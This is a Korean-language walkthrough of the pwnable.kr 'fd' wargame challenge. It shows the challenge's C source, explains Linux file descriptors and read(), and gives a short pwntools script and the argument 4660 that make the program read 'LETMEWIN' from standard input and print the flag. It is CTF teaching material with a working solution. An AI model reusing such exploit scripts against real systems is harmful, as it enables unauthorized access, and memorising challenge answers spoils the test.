본 문제는 pwnable.kr를 통해서 풀어 보실 수 있습니다.

해답을 이해하며 생각을 해보면서 풀이 해보시길 바랍니다.

문제 내용

문제는 pwnable.kr를 들어가시면 확인할 수 있습니다.

FD를 클릭하시면 아래와 같이 나올텐데 리눅스 환경에서는 ssh fd@pwnabler.kr -p 2222로 접속하고 패스워드는 guest로 접속하시면 됩니다.

  • 접속하면 위와 같은 내용이 나올 겁니다.

  • flag를 보면 읽을 권한이 없다. fd.c 파일을 분석해보고, ROOT 권한을 탈취하여 flag를 읽어야 할 것으로 예상된다.

문제 풀이

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
        if(argc<2){
                printf("pass argv[1] a number\n");
                return 0;
        }
        int fd = atoi( argv[1] ) - 0x1234;
        int len = 0;
        len = read(fd, buf, 32);
        if(!strcmp("LETMEWIN\n", buf)){
                printf("good job :)\n");
                system("/bin/cat flag");
                exit(0);
        }
        printf("learn about Linux file IO\n");
        return 0;
}

fd.c 파일의 내용이다. 프로그램을 실행할 때 인자가 있어야 본 루팅을 이행 할 것이다.

  • 우리의 인자가 사용되는 부분은 int fd = atoi( argv[1] ) - 0x1234; , len = read(fd, buf, 32);이 두 부분이다.

  • 그리고 우리가 읽어야 할 flag를 실행해주는 코드는 if(!strcmp("LETMEWIN\n", buf)에 있다.

우선 read()는 인자가 사용되는 fd가 들어므로 read()함수를 알아보자.

#include <unistd.h>

ssize_t read(int fd, void *buf, size_t nbytes);

read()함수의 원형이다.

  • int fd
    • 읽을 파일의 파일 디스크립터
  • void *buf
    • 읽어드린 데이터를 저장할 버퍼
  • size_t nbytes
    • 읽어들일 데이터의 최대 길이 (buf의 길이보다 길어선 안됨)
번호 설명 파일스트림
0 표준 입력 stdin
1 표준 출력 stdout
2 표준 에러 stderr

우리가 buf에 LETMEWIN이라는 값을 넣기 위해서는 read()표준 입력이 되어야 하므로 int fd = atoi( argv[1] ) - 0x1234;에서 fd가 0이 되야 한다.

from pwn import *
p = ssh("fd","pwnable.kr",2222,"guest")
path = "/home/fd/fd"
argv = "4660"
payload = [path,argv]
s = p.run(payload)
s.sendline('LETMEWIN')
s.interactive()
  • 위 코드처럼 Pwntools을 이용해서도 값을 전송할 수 있다.

  • 0x1234를 10진수로 변환하면 4660이란 숫자가 나온다. ./fd 4660으로 실행해보면 flag 값이 나온다. 이렇게 파일 디스크립터를 알아봤다 !